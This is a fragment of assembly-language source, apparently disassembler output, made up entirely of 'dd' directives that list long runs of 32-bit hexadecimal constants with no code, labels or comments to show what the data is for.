		dd 0AB2F6CDCh, 0B3CF7F98h, 3B012F23h, 2069FC1Bh, 9B909998h
		dd 28334A6Dh, 7D0136FEh, 2FDCFBBFh, 0B72E2526h,	5C7C1162h
		dd 0A8048546h, 0A01B7689h, 20F42C8Ch, 0BEB19B7Eh, 0DDD23782h
		dd 59A854C1h, 6523EC87h, 33482D86h, 0C91CC009h,	0B79106E0h
		dd 4283FB79h, 2A645310h, 6C5D12B5h, 393695ECh, 2FE65279h
		dd 24917AD7h, 516BA1Dh,	4F58F89Ah, 0C07A04D7h, 937252F6h
		dd 9241D36Ah, 18331654h, 18F9581Bh, 1C4AC7DAh, 0D017BE9h
		dd 1F1BF7C7h, 0BC2E281Ch, 6DBAB310h, 62BEB6Dh, 0ABD09908h
		dd 42017707h, 65842C9Bh, 0C47387FAh, 2181F1C7h,	0DEF3DB72h
		dd 0C9B2F83Ah, 8F053719h, 51699329h, 69EBE93Bh,	0F6A2C2F2h
		dd 0BD0E4F62h, 4F06E917h, 30EE0706h, 47878666h,	36FDEA7Ch
		dd 0D7025569h, 0C79825FFh, 0ACCCFAF5h, 38E730EAh, 3158438Eh
		dd 9F7D7B27h, 0CE99BB0Eh, 0A2D875D7h, 9DC2B016h, 0C409B5E7h
		dd 4CAFF094h, 0EC77DF36h, 60960B7Ch, 9DD12C76h,	7D9EE7A3h
		dd 0EB8C3448h, 0C2C74359h, 0AF843679h, 0EE8FB914h, 0C467556Fh
		dd 0A0E72989h, 0F5AB9CBDh, 126F8058h, 0E26385Ch, 0F05C4FC5h
		dd 61B9E42Fh, 73806188h, 0C87FBB3Ch, 30614E1Ah,	50558E62h
		dd 4053FB81h, 0C304DE7Dh, 3CCD532Ah, 447F8E8Fh,	6FAAFE8Eh
		dd 85DB591Fh, 0B64B0767h, 0C44987B7h, 0FC250392h, 0E0BE2CD7h
		dd 9D4669D5h, 7A609098h, 8335F92Fh, 0E189955Ch,	9613529Eh
		dd 73C1B361h, 6DBAB000h, 4BF5DB07h, 0DA0439F2h,	8EC70237h
		dd 658450F1h, 29B1CC34h, 70E6231Bh, 96F81105h, 0EDE654FCh
		dd 7AA5A175h, 260F156Ah, 6C38E20Ch, 65C22F5Fh, 95DFABC0h
		dd 0E99464E2h, 3652DF01h, 4001D810h, 0E90AA882h, 245FAD2Ch
		dd 0C6999B42h, 1AF213F5h, 81DB3F12h, 6C400769h,	0DA31B3DEh
		dd 111A0BC3h, 67EBA728h, 1C9569DFh, 0A30F947Ah,	45C97FB0h
		dd 877E837h, 609635A2h,	9DD12E4Eh, 0EDBA965Eh, 73393428h
		dd 0A2870BBBh, 0E408D3F3h, 0ECE24023h, 0E7FC7378h, 0E56E6B42h
		dd 670CCF80h, 6687837Eh, 4A50F4Ch, 616AD56Ah, 69E56B3Bh
		dd 778211E1h, 0F624B19h, 5918F19h, 364FEEC4h, 0FDC70500h
		dd 71AB8B05h, 5960BE95h, 0A01BD971h, 93CCF97Ch,	7B3E3B51h
		dd 0C3580526h, 5D140292h, 0D9FC00A5h, 4BBE2A97h, 0E10255B6h
		dd 8E85F68Fh, 94F4062Ah, 1DCD9FBCh, 0E9F0EC65h,	1EF45969h
		dd 0F13EBCF0h, 827CBD7Eh, 0AB38F96Bh, 0A68E2107h, 300DA5B8h
		dd 0E9C078C3h, 54AAAE4Ch, 0ABF45436h, 0C4303A03h, 79865AC8h
		dd 0F38773FAh, 0F20E680h, 0FCA6060Eh, 8DB9441Ah, 672280E6h
		dd 0E57A8E06h, 48298CFAh, 30895A06h, 85EE18E0h,	0C9999AEAh
		dd 0D8832B7Ch, 23B47A99h, 0B46B8C85h, 6514C6D8h, 4D136236h
		dd 0EE0123D6h, 0EF0D92Ch, 0A0C7199Bh, 0ABDF7F2Fh, 0E7C397BDh
		dd 0DA72791Dh, 9B92A530h, 0AC9362C1h, 5E98F8E5h, 4C913714h
		dd 0EE61F0F9h, 260D383Bh, 0E1C0663Fh, 0ED58D448h, 0CD0CAF70h
		dd 8BE7C08Ah, 0EB3D7482h, 250A1020h, 37BD90B0h,	28235FDCh
		dd 5888DBDAh, 0A4391F8Ah, 0A6239794h, 28FC9590h, 0B707645Ch
		dd 69915D85h, 4211C771h, 0C623F680h, 1C1CE9Bh, 0B87B8E9Ch
		dd 4B7DF658h, 17428D36h, 77FBA504h, 16BF935Bh, 0A8586CCAh
		dd 80D71A5Ch, 0BD0376E2h, 0B81F38B2h, 0F08D45A7h, 0B7339780h
		dd 679465Fh, 0A3CC3600h, 0D1082131h, 0EC805F2Fh, 2291EAFDh
		dd 21E7DF4Eh, 0ABE450F0h, 98E19383h, 0E1B982Ch,	66670CC9h
		dd 0A839665Ch, 6145D37Dh, 0C91D438Ch, 36E9020Ah, 26FD0800h
		dd 4763E781h, 240A12F6h, 43036282h, 88998ADEh, 2DFFAF5h
		dd 14DBE79Bh, 78FE6C7Ah, 6B3DE58h, 0BB8E8FE3h, 0FBBF2BDCh
		dd 0D945925Dh, 9886981Fh, 0F3341EC4h, 0E14FDF4Fh, 6096357Eh
		dd 706D6BBBh, 624C3A4Bh, 6DFF741Bh, 0A4E21B35h,	62075130h
		dd 6587DCEBh, 2FB4B665h, 0A0E4D3F1h, 8C4EE18Ch,	0EDEDE303h
		dd 0D140275Ah, 0BB26DF0Dh, 79C26770h, 0AE84CDF4h, 0A383AB9Ah
		dd 0ED28ABDAh, 0B346FDC5h, 0BB049014h, 7854FD08h, 0BB43516Bh
		dd 587B72E5h, 0DC6D050Ah, 4A583F1Ch, 0B3C1CFE6h, 759A57F6h
		dd 765FB3Dh, 0DB9A685Bh, 18AF8588h, 70F96F51h, 8503FE70h
		dd 3842C92Ch, 0E9CFC515h, 58C9FFCCh, 6D9DC7DDh,	0A93027EDh
		dd 8083C85Ch, 56C4F8BCh, 109EE3B9h, 22BAE639h, 0A391D777h
		dd 22028FCDh, 7D2AA8D3h, 0C158065Ah, 2D4B9F0Dh,	0E046E939h
		dd 91CDB040h, 7C78CB19h, 0BDC38F1Bh, 0B93D0145h, 395A0AE0h
		dd 8624EB48h, 0B81A20A9h, 0B9DE376h, 1ECCEB80h,	0BD583D6Ch
		dd 6DBD616Ch, 0B6F60BD7h, 0A59A04E2h, 6A354AFCh, 1CCEB0A7h
		dd 328DF6B8h, 2039091h,	0E003473Ah, 62D7B20Ah, 9B937856h
		dd 86382168h, 0F4FFF2BEh, 7DB37372h, 0D008AD1Bh, 0A5861CAAh
		dd 0A6215634h, 0A9E5318Fh, 0EA67FA5Ch, 0AC62CC05h, 82E4B00Dh
		dd 673F029Eh, 0B9096082h, 72CA5FE1h, 0C5D1FC16h, 86B64F1Bh
		dd 33A9C615h, 3D4AD509h, 0DA04EF48h, 88893348h,	3B1FE376h
		dd 6F414687h, 9F59881Ah, 189089Eh, 0B90C5D6h, 0F7FCD4E9h
		dd 4A0923D9h, 92BF07A9h, 3202C0F9h, 9383F691h, 0E3C9AB9Bh
		dd 64D78FE1h, 2C9D45E5h, 8F7A4531h, 0EBAC95D1h,	0C2C3231Dh
		dd 101A6E1h, 1C043F28h,	1E02433Dh, 0A68A4C28h, 0D2E5F283h
		dd 2E6EDC05h, 0EFCA56h,	0A64D1396h, 4EDD6278h, 76CAD687h
		dd 3B026EE6h, 30BD9F1Ah, 3E6B0704h, 0A8DC0500h,	1302ED09h
		dd 0FE825569h, 4A999AF5h, 13AAFAF5h, 0CC583F15h, 6C3E0767h
		dd 1C7204D5h, 6E9A049Eh, 6BBE2CC4h, 0DD47D6B3h,	7306915Eh
		dd 438AF952h, 0E18822BCh, 60963960h, 9B92BAC8h,	6DBB4178h
		dd 8D7C98CEh, 0A4C76AB4h, 6707DF70h, 658778EBh,	0A271253Bh
		dd 0A0E8434Eh, 0ABED8C8Ch, 0EDD32303h, 8D28F109h, 0A65AD329h
		dd 69516F78h, 7729D687h, 0C6544B19h, 33318F1Ah,	3F630704h
		dd 0AACC0500h, 1F22ED09h, 81425569h, 5A199AF5h,	0F0AAFAF5h
		dd 82583F14h, 0E83E0767h, 147204DAh, 9E9A049Fh,	4BBE2CC2h
		dd 1D47D6BFh, 0F3069165h, 438AF942h, 0E188229Bh, 60963922h
		dd 9B92BB4Ch, 6DBB4F70h, 8D7C84FEh, 0A4C712D4h,	6707EEB0h
		dd 6586A76Bh, 0B271BAB3h, 0B0E89A2Eh, 0BBEAD901h, 0FDDD6E8Eh
		dd 0E85ABE6Dh, 0CF629907h, 3FCA8616h, 0D61BAE6h, 0E6F12570h
		dd 40DBE66Dh, 2010646Bh, 0DE9E6C6Ch, 35BB9F68h,	89087B47h
		dd 1FF8EE86h, 0B6C49381h, 3177334h, 341E4B26h, 1354A93h
		dd 0C9D44BCCh, 0D9D658E0h, 7323B7DEh, 730CBF43h, 31EB8D42h
		dd 86E64A0Eh, 2DD97DC4h, 0F3E6988Dh, 9DA29FAh, 8752A8C0h
		dd 0F08658F4h, 5D57ABA0h, 17E9D0CBh, 0C603D84Ch, 0D4C8DF2Bh
		dd 8ECB06E3h, 0BEDC096Ah
		dd 0DE7D7246h, 0D4092309h, 7396550Ch, 1467DCEEh, 0B2EF2578h
		dd 5C60ED3Ah, 689F2760h, 0C3897173h, 7A8D9E29h,	0B4B63002h
		dd 1C759AFFh, 0A8CF8E86h, 8764D71h, 693E0D49h, 0D61770B4h
		dd 0EEF665F3h, 0F9D943B3h, 0FC03BBE4h, 0A006F005h, 34FE9F46h
		dd 0BDED5108h, 12F5578Bh, 0FDFDCBEBh, 4EC1174h,	0FA13E570h
		dd 0D1844967h, 9629742h, 17E3E31Fh, 0CC1ED248h,	0D090FA12h
		dd 0CE995BE0h, 82BF1371h, 0EE537F67h, 0C8097A5Dh, 39DB8C58h
		dd 5902B3F4h, 0A7AE4B13h, 572DEE6Eh, 60E3647Ch,	8DF9626Eh
		dd 69EF826Ah, 0F0F63005h, 6ED9AFFh, 0A1D99494h,	4D2A4D71h
		dd 581E6009h, 921370BBh, 0AE902AB3h, 85D043A2h,	0B833B5E0h
		dd 1C72B115h, 79F9DC08h, 0E1824A4Dh, 0EF851BBh,	0F2E6DBFDh
		dd 199B2377h, 0FE59A161h, 84AE300Eh, 0B6E8416h,	45A7D08Eh
		dd 8259901Eh, 89819666h, 0C4882C86h, 8EB90D6Dh,	0EA58187Dh
		dd 8608A709h, 738D1C5Dh, 465DCEEh, 0B5A72876h, 5B24F93Ah
		dd 24D82724h, 0AD865873h, 77CC826Ah, 0FD36360Ch, 639F49Ah
		dd 0A7CF9090h, 1A3C5A60h, 574C614Fh, 912924B7h,	0D4B359EEh
		dd 0A5D14FC1h, 6924B3EBh, 0D368FE19h, 2EE58B4Eh, 92AD7877h
		dd 33963487h, 0F2E4CAF9h, 8EF2873h, 0E528F54Dh,	0C0A67026h
		dd 2857C48Ah, 658CF425h, 0D403DA68h, 0F48DD427h, 0FF9F57E9h
		dd 8CB9016Bh, 0EF166B6Dh, 0F647F748h, 5CF3A137h, 5018587h
		dd 0A3AD226Fh, 4676EA4Eh, 64E96F50h, 8D866161h,	5F0CA459h
		dd 0F1515563h, 14F0EC87h, 0B6CFAE90h, 4A306B60h, 0E5A6602h
		dd 0A21D67FAh, 0BAF961F3h, 2BB448A4h, 2B35B3D7h, 2763F219h
		dd 17FE8A42h, 80ED513Eh, 14E51EB8h, 0FEE6CAF1h,	39BB474Ch
		dd 0E228F85Ch, 0CAA97A37h, 4F738795h, 3A688C2h,	0C71DD85Ah
		dd 8EC6852Ah, 0D9BF5C86h, 0AEB3177Ah, 0E859DF66h, 8F4F274Ah
		dd 3DDB4F42h, 7D4DF8A9h, 0BFB21F19h, 5D5AE04Eh,	62F6696Ah
		dd 97852D74h, 77008C29h, 0FAAB211Bh, 5937B492h,	0C8FEFAFFh
		dd 7D376B6Dh, 55506908h, 0ED5A70B9h, 0F4B42AB3h, 7FDF5BC1h
		dd 0F223BEE7h, 9726AB17h, 6DEF9748h, 0CBA2235Fh, 1E11EF4h
		dd 0FFFADBE0h, 4D812A4Fh, 0F915E029h, 84A07AFDh, 176A8C53h
		dd 0F2D407h, 0A85F9D15h, 8AC2854Eh, 0DF8A23ACh,	82B83B60h
		dd 0FA17AB6Eh, 0CF137A48h, 789B8816h, 4962DCA9h, 0A5B62A6Eh
		dd 5572EB72h, 64D8273Eh, 0CD357372h, 7071CD6Ch,	0F0EE2006h
		dd 56FCF8D5h, 0CFD99F87h, 592C4D75h, 0A25F2703h, 0B90024BFh
		dd 9AE96AF4h, 0ED240A0h, 0DD4DF7E0h, 1072F007h,	24E59D4Eh
		dd 84FB036Eh, 3FF48A2h,	0FEE098CDh, 1FDA394Bh, 0A318E43Ah
		dd 0C5B014BEh, 36F8004h, 45BCD784h, 0D602D049h,	809CD12Fh
		dd 0C7822DEAh, 0E7F1C766h, 0F9568609h, 0C900BB4Ah, 2495551Fh
		dd 40FBFE2h, 0AAA82A6Dh, 1276E173h, 77D16277h, 80296669h
		dd 1828C327h, 0F436341Eh, 1176FE9Dh, 0DDD8DACFh, 40374B67h
		dd 0E859690Eh, 0BD1561A9h, 67E870EEh, 419002E0h, 6926A184h
		dd 9C62F914h, 30AAC341h, 95FA4227h, 6AB85AB7h, 0F2E5E7ACh
		dd 32897E5Eh, 0FE12F621h, 0C9B04BA7h, 1007BDEFh, 0CF2D619h
		dd 0D651D055h, 0EBA08721h, 0CAC411CFh, 9FB0C776h, 0E617BF7Ch
		dd 884AEA4Ch, 5B2E556h,	14B0E8h, 9AA33978h, 4076E657h
		dd 67D4746Bh, 0C72B5974h, 6FAD8967h, 0E241091Ah, 17FCE887h
		dd 0CBCFAC81h, 5E375667h, 0AA4B553Bh, 850073DBh, 69F46DE9h
		dd 8BD158EEh, 100B9DCCh, 773F058h, 2DFF8B4Ah, 98ED4872h
		dd 6AB810FAh, 0F79292A0h, 6DDF2C27h, 0D93ACE3Dh, 0E19555A3h
		dd 46EAFACh, 0AF5D199h,	0F52DDD5Dh, 0CF8D3527h,	0E5CB0FFBh
		dd 989CDF57h, 0E352437Bh, 0D401055Dh, 38DD060Bh, 190681DBh
		dd 0B5AF247Dh, 6729A31Ah, 68C16277h, 0AE186C6Eh, 4CA4A25Ah
		dd 0D290143Eh, 1A70D7A9h, 0D1D99587h, 61044B72h, 0AF5A690Eh
		dd 0AA5277ACh, 4BD958C9h, 0E5DB5EBCh, 0EF2280F0h, 9D69F804h
		dd 2DE3AE79h, 8EEF4C3Dh, 14C53EB8h, 0EEE6CAC5h,	2C91D30h
		dd 0E01DF2F9h, 0DD941B67h, 0A629543h, 17F3FE37h, 0D61FCE49h
		dd 0D487300Dh, 0F8871BFEh, 0AE83E766h, 0FF437F66h, 0F2387F46h
		dd 3FDE9D1Dh, 5702B7E9h, 0B0A82E4Ah, 6571FD7Fh,	73177460h
		dd 0CA6B7564h, 7FE7BF09h, 0F3E3303Bh, 58A3B3DDh, 98C49B96h
		dd 512A1F60h, 0B71E6306h, 0D9527DBEh, 7C9A0EEEh, 8EEC4BABh
		dd 0F46FB2E5h, 1674B14Dh, 66AA9D45h, 98EA0339h,	40E55BDCh
		dd 0F6FDCADEh, 4DC86878h, 0A40FA5A6h, 0C1951B3Eh, 662B317h
		dd 5FAF948Fh, 0C701C21Bh, 808D3620h, 0ABE11FA9h, 0AE99DB78h
		dd 0C973353Dh, 9326FE1Dh, 679E2A49h, 5A2E92B6h,	0FE9D7320h
		dd 0B15CA37h, 45763242h, 97393C38h, 5CA2903Ah, 0E421260Ch
		dd 116DEA9Ch, 0F8AA949Ah, 66284C7Dh, 0B9707E06h, 0B87261B6h
		dd 32FB67F2h, 0BFCD559Dh, 5247BBE1h, 9063FB14h,	2EEBB750h
		dd 93CD233Ah, 23E451D8h, 0E9E6D6D3h, 3EBB213Fh,	0F90EE1CAh
		dd 0D4BE4F54h, 0A4EE0D5h, 35E3DC0Ah, 0A219DB5Ah, 0F4BA0E1Dh
		dd 0E8B729C9h, 88AD8176h, 0E2742567h, 0C917E747h, 22D5BC14h
		dd 50985DBh, 0A3BD226Fh, 6225D369h, 682D6876h, 8E4F6064h
		dd 90368867h, 0B6692706h, 0EFAFF86h, 0C4DE9387h, 7C285034h
		dd 0A750680Eh, 7E1D62FBh, 3DE377BDh, 0BD349BAh,	342AB2E6h
		dd 775F818h, 2CFE9851h,	0C1A6502Ch, 9FE6A8Ch, 0FEE198C3h
		dd 0ED23B1Ah, 0EC1FA0CBh, 0CBA93B1Ah, 265C084h,	0AF2C9CBh
		dd 0C614D14Bh, 0C59A4B60h, 0C882EAFEh, 88ADE366h, 0F943D86Eh
		dd 0C200214Ch, 38C76F72h, 7A6BA5F4h, 0E6F06B39h, 1219AF3Ah
		dd 21732724h, 8E0C2520h, 0C742CD29h, 96CF7549h,	5B70BFF8h
		dd 0DDC99F86h, 2E2B5B7Ah, 0A458620Bh, 0C5224FBh, 7EB40C95h
		dd 31C85E9Dh, 0F426A1A7h, 9468F802h, 63E3DC03h,	8EEB462Eh
		dd 4EE55AC0h, 9B98969Ah, 2ECD3F33h, 0D911EDB1h,	0C5A268FCh
		dd 327C554h, 6FE3D704h,	0F423F03Bh, 0C89A6F74h,	0C29FE0F9h
		dd 89FFB46Dh, 0AD5EE666h, 0AC295F6Dh, 0E3BC78h,	273FF6BDh
		dd 8293195Eh, 1701AF5Fh, 1613977h, 948A5753h, 0AB52A429h
		dd 9CD60620h, 2CCBC9F5h, 0EAE8DACFh, 5F583551h,	0CC045135h
		dd 3C39479Ah, 0BF061EFh, 0FDB58ADh, 0AE179FA7h,	1A67F756h
		dd 49EE9C4Eh, 0B7DA705Ch, 23D71E9Ah, 0FEE09903h, 19D82E12h
		dd 0C45CE8ABh, 0A4CD71E4h, 5D565D23h, 0BE3ABCBh, 0C51C0C5Fh
		dd 0CA8CB16Eh, 0CE9CEFE9h, 0BD900367h, 0EC5AD17Ah, 0C217BF40h
		dd 768B6F72h, 4D1F84D4h, 0AB713839h, 55DFE67Eh,	68067524h
		dd 0C5B86665h, 0B36BCD6Dh, 0CA425F1Ah, 0AA23CCA7h, 0B0E1B9B7h
		dd 0A6365E7Ch, 0B5F6F13h, 731C6DB0h, 0F7FB62BAh, 41DA49A0h
		dd 4B158583h, 0B047B147h, 22E2D959h, 89FB4755h,	9FD5C03h
		dd 9B98D1A2h, 57ED1B23h, 0E31DE0DEh, 0C5AF79B0h, 6E77DBh
		dd 0CE7614Bh, 8C164257h, 0F2BD4744h, 0D9C9BEDAh, 0CDE4436Ah
		dd 8D32B82Ch, 9C2CC17Ah, 38EF8758h, 16C0A5E3h, 0A2382272h
		dd 371BA134h, 55295404h, 0CD9F253Ah, 8CA78367h,	0C66C3C1Dh
		dd 0F4F8FCD5h, 5FCE9F9Ah, 0D20B3F1Eh, 871E3D36h, 491C6AB7h
		dd 0E0F370F8h, 859002ADh, 0F14D685h, 2826AB53h,	66B08A24h
		dd 0E1827E73h, 10B64649h, 0BBE6C52Fh, 30D273D3h, 0E8188AE4h
		dd 0D2AA2084h, 961269Ch, 0AE538DCh, 0D713F956h,	0D281533Ah
		dd 0CF8346E5h, 0CD8A4A23h
		dd 0AD53142Ah, 0FB0D7672h, 23F46F72h, 19EEB8E9h, 0B6AD6B7Eh
		dd 4EACA73Ah, 2ADD292Dh, 81EC0F0Dh, 0C7E2CF29h,	0CCA6251Ch
		dd 8739FF81h, 15D997F6h, 2584767h, 0CC50700Fh, 0C11665B7h
		dd 0D1EE24FCh, 0AE820CF1h, 9D4DE8FAh, 8075E264h, 7DAADF9h
		dd 0C1CD6948h, 5ADA1153h, 0E8B7B324h, 9BB6D3Eh,	0E1122271h
		dd 0C1A3AC7Bh, 425BB554h, 48A94818h, 874CC516h,	0A0D8323Dh
		dd 0CA695BE8h, 89AB7C6Fh, 0EB3A756Ch, 0C3D27A48h, 0D27D51Ch
		dd 50DBA5A2h, 0E3B46634h, 3380FC3Fh, 7BE46304h,	0F2F3696Eh
		dd 0AAEC846Dh, 1EA70E49h, 9B4BAA8h, 148FDAC8h, 258351Ah
		dd 0D25B770Dh, 950121F4h, 0A4B42ABEh, 0EBDC5A3Bh, 0B833BF20h
		dd 763FCBBh, 2DEF8B37h,	0C9E44D5Dh, 45B67D31h, 0D2928D71h
		dd 1FDE0376h, 0C2085060h, 8CA9E844h, 42212F59h,	8881E82h
		dd 0D5019948h, 0C1B95F20h, 0A46449E8h, 0D7F96323h, 0C3332655h
		dd 0F5A89C6Dh, 24FE1C24h, 42E8B3F3h, 0AFFB172Bh, 40AFFC69h
		dd 3683627Ch, 0EAFB5A00h, 0F290DE67h, 5F2C2236h, 0C96AC586h
		dd 3BAAA5A8h, 49365661h, 0CF61586Eh, 0EB0177AEh, 81F760FBh
		dd 8AF02D74h, 5017FC1Dh, 9674B2D8h, 30EF8F89h, 0C4AB1883h
		dd 40BB6573h, 0EFE0EC6Ch, 48E05F2Ah, 8D767857h,	8993EC1Ah
		dd 475119E0h, 45EFE40Dh, 0D71E9A49h, 80A0442Bh,	847B01AFh
		dd 86CD532Eh, 0E8385103h, 0D176F64Ah, 77A38111h, 5F5097C9h
		dd 0E0DE0649h, 7E1F87Ch, 6DEA6276h, 0DBC87665h,	922BC82Ah
		dd 0CC087B47h, 94EDFF87h, 8AC19998h, 36784B69h,	0E413531Ch
		dd 0AA52548Bh, 0BCBA60F3h, 4ECB5C76h, 7E67A52Bh, 5D28FB8Dh
		dd 308AF099h, 88EC5713h, 2EB62C72h, 0CBBFCB51h,	0B9B5765h
		dd 0FF5C7159h, 0C1B33C11h, 4421E083h, 4BA57BCEh, 0D068FB15h
		dd 0C5AE5E21h, 0D4677CFEh, 0C8F16339h, 8D51EC7Ah, 8A6B1267h
		dd 77542228h, 7F2B3F5h,	1FF4387Ch, 1F0AA39h, 69E32729h
		dd 90C56962h, 0B632A429h, 9FE70E49h, 691990A9h,	0A87AEB6h
		dd 0C786F54h, 0D54B763Bh, 0E75270B7h, 0D3BA6DA5h, 1D5423Bh
		dd 0FE22A328h, 9A70FA2Dh, 0DAA9A19h, 0B1A56EB4h, 12B61953h
		dd 0FEE7EA71h, 4E9B7B53h, 0A3526C7Bh, 0D7C666BAh, 872A755h
		dd 15E5FA08h, 0E327D34Fh, 0ED88021Ah, 0C17874DCh, 9EF72672h
		dd 0AB88B17Dh, 89713D40h, 3236EF72h, 1D6BB2E9h,	7FCC6B7Eh
		dd 6ECDA24Eh, 85D92754h, 9F397072h, 0B921CD7Dh,	0A2AC7B00h
		dd 3FD9AFEh, 0B7DF9B91h, 1D3F1F6Ch, 2D49622Bh, 87523EB3h
		dd 0E4C77799h, 3BEB6403h, 0B9678156h, 1C65E001h, 3AF89840h
		dd 90ED4954h, 14E52A65h, 0F2B7B408h, 6D43702h, 0B17FFF60h
		dd 0D0A863D7h, 326E7C02h, 65B45CB9h, 0C719DA07h, 0C3B7553Ch
		dd 980672E9h, 9BF7C670h, 0B0DE9260h, 0C90EA629h, 3CE61C42h
		dd 0E0BBE2h, 53F43E34h,	5FFEA26Ah, 81D03D63h, 87257371h
		dd 2D75D76Ch, 0EC121C20h, 0C377F49Bh, 37C38E93h, 72690576h
		dd 266E5211h, 0BD162498h, 68F567CBh, 6BC75F6Dh,	6836B47Ah
		dd 0D372E06Ah, 79E3D9D5h, 85E956D3h, 49A56532h,	91BCBD02h
		dd 0ED47330h, 0E216911Fh, 98E616BAh, 6D3C2195h,	35D8D66Bh
		dd 0C64BA755h, 0CFBF5427h, 0DD7021FAh, 9CE8C123h, 0FAF8B47Ch
		dd 0CEB9B009h, 35A0CF42h, 4E28F6E3h, 12A86530h,	7ADC8F10h
		dd 0C8EB6954h, 0BF0F6C67h, 0EA79B66h, 2A707517h, 9AFCEF85h
		dd 0FC89DA84h, 12780572h, 6C1E6338h, 0C25C2DFFh, 629A0E9Ah
		dd 0DFDF4E1Fh, 5D29BE71h, 1D56C666h, 2AEEDCE5h,	97E75601h
		dd 40EF2171h, 0EEE40A52h, 4DCF542Dh, 0B716F04Dh, 0C0A7AED4h
		dd 4E32BAD0h, 6FA330C5h, 0CA079A3Bh, 0D3A3B62Bh, 0CA4E09A1h
		dd 9F1AAE73h, 0EBE80B6Eh, 0C4D5255Bh, 1555551Dh, 3FDF9FC9h
		dd 5EF62576h, 46C0FB79h, 0EC823D6Ah, 0BA3C504Ah, 2586CD59h
		dd 19AD361Dh, 960E891h,	2BDB9F82h, 562C4C7Eh, 60572279h
		dd 875229E1h, 55F961D8h, 0A5D94311h, 9D4DFEC6h,	9665F9BDh
		dd 2DE3891Ch, 0B4C11696h, 40C63F46h, 0F8E60240h, 1FDE592Fh
		dd 0E80DE4E7h, 0D7A3E665h, 4221F144h, 4BA2B302h, 0C716EB31h
		dd 0C3AFAC3Ah, 0D04A1BE7h, 0BD28DA23h, 0EACB4167h, 0C8BF6040h
		dd 2D318A0Eh, 0C6BA4A7h, 4EE92E6Ch, 4288AC3Ah, 0FA65292Ah
		dd 9F314803h, 1FD0AC4Ch, 2FA87526h, 38CDCEBCh, 0EE84CBDFh
		dd 1B103517h, 7C047328h, 0D24B3780h, 0AF319Eh, 0C58B1852h
		dd 0E777E5CAh, 4336A5DEh, 17D9F539h, 91FD174Ah,	12AC2686h
		dd 0FFE10657h, 0ED25D3Dh, 0C075C1EBh, 84FCED55h, 3718252h
		dd 0CE8E69Bh, 0D4090E48h, 0ADE3A12Bh, 9E602186h, 0E774D023h
		dd 0FDF37B04h, 0CE89BD4Ch, 1C830816h, 2D2386D2h, 4A752F39h
		dd 4FD7E079h, 80637E76h, 0A5797466h, 782997Ah, 306C3C4Bh
		dd 0F01990DAh, 0F8C49393h, 0C0761134h, 31567454h, 0F47825C7h
		dd 70A33798h, 0E58B185Eh, 3372E5F2h, 0F336A9CCh, 13DEAB5Ch
		dd 85EC761Fh, 40E63627h, 0EEE4024Eh, 4DCF4435h,	0B70C91E5h
		dd 9E9BDA71h, 36C7390h,	40AC210Eh, 8C48C152h, 0F48ED744h
		dd 0E51634D8h, 8C289767h, 0EB897179h, 0D498E658h, 70DBCF0Ch
		dd 14A9ECF4h, 4BBE7144h, 7CC0EC7Fh, 0CE3F6272h,	0EA552023h
		dd 2B48C327h, 7E560126h, 0CFFDDBD4h, 7DDA9BBCh,	3D295A68h
		dd 6E4A7431h, 7F575F90h, 13F32192h, 21900346h, 0E0880CBh
		dd 23BCDAh, 17DEB6D3h, 0CFB91FAEh, 289C59DDh, 0A1C1367Fh
		dd 57C81648h, 8772D58Bh, 0F088EC37h, 4A577EB5h,	22C21FA7h
		dd 825D296Fh, 0AACAA26Bh, 0F07AD3CFh, 0C0358D46h, 0CB9CE85Dh
		dd 0CD797313h, 2DCF1B00h, 5DF0BAEAh, 4A71237Ah,	29CDEA69h
		dd 90277226h, 350E3D2Eh, 722DBE03h, 6A81143Eh, 0F157D5BDh
		dd 60DFD8D1h, 0AD2B0574h, 3153623Dh, 740729C2h,	11B774C8h
		dd 78844A26h, 0F431A2B6h, 0A43CF9FDh, 13C3B092h, 8FE65FFEh
		dd 9E2360Bh, 0AAAF0D5Bh, 9DF7E43h, 0F90DCB8Eh, 0D4B133D9h
		dd 45640159h, 6F829366h, 0F24AAE3Bh, 80909C01h,	0EC12E7A9h
		dd 0C23D8757h, 83E5BF38h, 0FB525B23h, 70E1D52Ch, 172FECF4h
		dd 77D14114h, 59F8DB54h, 0BD272A50h, 7488424Dh,	5227CD33h
		dd 81C15F63h, 0A4DCCEB9h, 8AFED7A5h, 6C627A4Dh,	18466221h
		dd 701F7C99h, 6F9249Fh,	0ECD5F31h, 0A865EDAFh, 4B2BFADAh
		dd 1080F390h, 0A0D87033h, 2FDF0EA3h, 0B9B55A86h, 57D54F0Dh
		dd 0E817C3BDh, 89B23BD9h, 176D0F05h, 2FDD7C6h, 0D002D601h
		dd 0C5A62A38h, 0EA72DBB6h, 822C734Ah, 0EDB59F67h, 0C645BA5Dh
		dd 14125E42h, 1139B2E3h, 59993F6Bh, 7858FF6Ah, 0F36E2563h
		dd 2CC0F0Eh, 6967D77Ah,	0BE2E3018h, 0F014FF87h,	0DEC69789h
		dd 3F2B056Eh, 9C4A6F77h, 3B5D3EC7h, 0FBF267D6h,	65CD4C33h
		dd 6E2BBDDFh, 0DD76FDDAh, 6CED8CCDh, 91E95E28h,	16F83F8Dh
		dd 0EBFA0D29h, 60991415h, 0E845DFF4h, 0C0AE21BAh, 3464E0D9h
		dd 0E39E1Fh, 0D6084506h, 8FFFB73Ah, 0CC53F7A3h,	9E085E66h
		dd 0E2B1A927h, 0D853FC5Ah, 326C8056h, 1F27A5A8h, 59736469h
		dd 7FD1E079h, 0D854606Ah, 0CF6083Dh, 6C80D77Ah,	0D43C2C0Ah
		dd 37ECA6FDh, 0C1CE9EB0h, 8D2C4D72h, 0D4E7737h,	267F63D9h
		dd 0E0F669DAh, 96CB172Fh, 3335A581h, 1B65EF87h,	30EB93F4h
		dd 8FF84417h, 12F97614h, 0FEE644A7h, 0ED24EFAh,	0CC28948Bh
		dd 0E7910FBAh, 26DE89Fh, 0AE68288h, 80510355h, 9CCFB670h
		dd 0F64659C2h, 99076E66h
		dd 0FDB1796Ch, 870A6D5Dh, 7610A36h, 0AC8BBE2h, 4427037Ch
		dd 1B04B16Eh, 8C964938h, 54987D46h, 6D83837Bh, 91B03A3Eh
		dd 2970BFC9h, 0F1CFB4DEh, 0C32C4758h, 4C5F6924h, 0D0006BE7h
		dd 8290099Dh, 0DBC94813h, 0F233BFDFh, 0CD6AF222h, 7FDAA3DDh
		dd 96ED8306h, 14F91116h, 0F7FA2DEBh, 51B1D43Eh,	0C4080C50h
		dd 0D6A4B17Ah, 3760E45Eh, 5BE58704h, 8D60521Eh,	0E9BADA00h
		dd 0D64440E2h, 0BD24726Dh, 0B06A6366h, 0E68A1924h, 3C52981Dh
